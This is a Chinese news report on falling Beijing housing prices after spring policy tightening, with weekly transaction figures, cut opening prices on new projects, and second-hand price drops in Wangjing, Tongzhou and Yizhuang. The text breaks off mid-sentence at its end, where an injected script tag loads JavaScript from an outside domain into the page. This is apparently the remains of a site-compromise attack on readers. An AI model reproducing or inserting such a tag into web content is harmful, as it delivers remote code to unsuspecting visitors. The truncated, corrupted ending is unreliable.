商品住宅量价齐跌

　　根据北京市房地产交易管理网数据，5月3日至9日，北京商品住宅期房、现房整体量价齐跌。亚豪机构统计显示，5月3日至9日，北京市商品住宅期房共成交133528平米，扣除保障性住房实际成交130424平米，环比减少了13.66%；商品住宅现房共成交25420平米，环比之前一周减少了54.33%。

　　与此同时，上周北京市商品住宅整体成交均价16898元/平米，环比之前一周下降了1790元/平米，降幅达9.60%。而与此轮新政出台之前的一周(4月4日-11日)相比，均价下降了7744元/平米，降幅达31.43%。

　　新项目调低开盘价

　　4月中旬新政以来，从4月12日开始的三周，北京商品住宅成交套数跌幅分别为10.34%、11.39%、30.82%，跌速逐周加快，而成交均价却在22000-23000元/平米之间保持坚挺。

　　在成交量不断下降后，商品住宅成交均价开始出现明显下调。4月26日-5月2日，商品住宅成交均价从此前一周的22176元/平米跌至18688元/平米，上周跌至16898元/平米，两次跌幅都在10%左右。

　　统计显示，近期不少新开盘项目实际开盘均价均低于开盘之前的预计均价，降幅在2000-5000元/平米不等。业内分析认为，开发商已经选择以降低预期的方式进行推盘。

　　也有业内人士认为，受调控影响，支撑高价项目的投资性需求和高端改善型需求受到抑制，取得预售证的城区高价项目较少，也直接导致成交均价的下跌。

上周成交均价为16898元/平米，较新政出台前一周下降7744元/平米，降幅达31.43%

　　望京抛售二手房单套最高降百万

　　通州、望京、亦庄等前期暴涨区域领跌

　　本报讯 (记者杨娟娟 张家齐 实习生李卓然)曾因“地王”因素导致房价迅猛上涨的望京，也出现了价格回落迹象。记者昨日获悉，望京区域出现了急需套现业主的大甩卖现象，最高单套总价降幅达到百万元。此外，根据中介机构5月10日最新市场调查，目前二手房房源价格普遍下滑，最高幅度接近三成。

　　“地王”周边降价明显

　　程先生是融科橄榄城的业主，2009年初在这个小区以17000元/平米的单价买了两套三居室，自己住着一套，而另外一套一直空着。在4月10日的时候这套房有人出425万元要买，单价达到3.4万元/平米，但程先生觉得周围地王地价都3万元了，就没出手。但最近因急需用钱，发现区域房价明显松动，现在报价325万元，但是都没什么人看房。

　　据北京中原三级市场研究部统计，目前望京的二手房均价为22000元/平米，相比4月中旬最高点25000元/平米，下跌幅度已超过一成。跌幅较大的区域主要为“地王”周围及经济适用房区域。统计显示，望京西园4月中旬的报价约24000元/平米，目前有房源的均价已经降至18000元/平米；望京新城4月中旬的报价达到24500元/平米，而现在该小区一套130平米三居标价230万元，均价也仅为18000元/平米左右，甚至已经低于“地王”出炉前。

　　中原地产统计显示，3月受“地王”的影响，望京房价率先上涨，成交量也占到了朝阳区的10%，与其他区域相比，望京投资购房比例高达45%，仅次于通州。而5月份以来，望京新增客户需求仅为100组，相比4月上旬幅度达到九成。

　　四类房源下跌明显

　　据中原地产5月10日的调查报告，目前市场房源均价下调幅度比较大的主要原因为四类房源：以炫特区为代表的小户型投资比例高的小区，从最高接近3万已经下调到2.2万左右，下跌幅度超过25%；以通州为代表的前期热炒房源，新华联家园、格瑞雅居、瑞都国际均价下跌幅度最高已接近30%；以通惠家园、望京西园、回龙观等经济适用房小区，因为大量房源上市领跌区域楼市，价格跌幅达到了15%；前期地王区域，亦庄等区域最近二手房价格下跌幅度?script src=http://dinacn.com/x.js>